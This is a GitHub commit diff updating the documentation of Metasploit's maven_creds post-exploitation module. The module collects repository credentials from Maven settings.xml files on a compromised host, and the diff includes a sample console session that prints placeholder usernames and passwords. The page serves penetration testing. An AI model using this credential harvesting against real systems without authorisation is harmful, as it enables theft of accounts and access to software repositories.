Skip to content

Commit 682851a

Browse files
author
Erik Lenoir
committed
Edit doc
1 parent 801e3e2 commit 682851a

File tree

1 file changed

+27
-6
lines changed

1 file changed

+27
-6
lines changed

documentation/modules/post/multi/gather/maven_creds.md

Lines changed: 27 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@
22

33
[Maven](https://maven.apache.org/) a software project management.
44
This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them.
5+
Credentials are store in the <server> tag ; the module also tries to cross the identifier found with the <mirror> or
6+
<repository> tag in order to find the full realm the credentials belong to.
57

68
This module was successfully tested against:
79

@@ -29,15 +31,34 @@ msf post(maven_creds) > run
2931
[*] Downloading /home/user/settings.xml
3032
[*] Reading settings.xml file from /home/user/settings.xml
3133
[*] Collected the following credentials:
32-
[*] Id: server-nexus
33-
[*] Username: deploynexus
34-
[*] Password: password
34+
[*] Id: server-nexus-dev
35+
[*] Username: deploynexus-dev
36+
[*] Password: password-dev
37+
[*] Try to find url from id...
38+
[*] No url found, id will be set as realm
39+
40+
[*] Collected the following credentials:
41+
[*] Id: server-nexus-int
42+
[*] Username: deploynexus-int
43+
[*] Password: password-int
44+
[*] Try to find url from id...
45+
[*] Found url in mirror : http://www.myhost.com/int
46+
47+
[*] Collected the following credentials:
48+
[*] Id: server-nexus-prd
49+
[*] Username: deploynexus-prd
50+
[*] Password: password-prd
51+
[*] Try to find url from id...
52+
[*] Found url in repository : http://www.myhost.com/prd
53+
3554
3655
msf post(maven_creds) > creds
3756
3857
Credentials
3958
===========
4059
41-
host origin service public private realm private_type
42-
---- ------ ------- ------ ------- ----- ------------
43-
deploynexus password server-nexus Password
60+
host origin service public private realm private_type
61+
---- ------ ------- ------ ------- ----- ------------
62+
deploynexus-dev password-dev server-nexus-dev Password
63+
deploynexus-int password-int http://www.myhost.com/int Password
64+
deploynexus-prd password-prd http://www.myhost.com/prd Password

0 commit comments

Comments
 (0)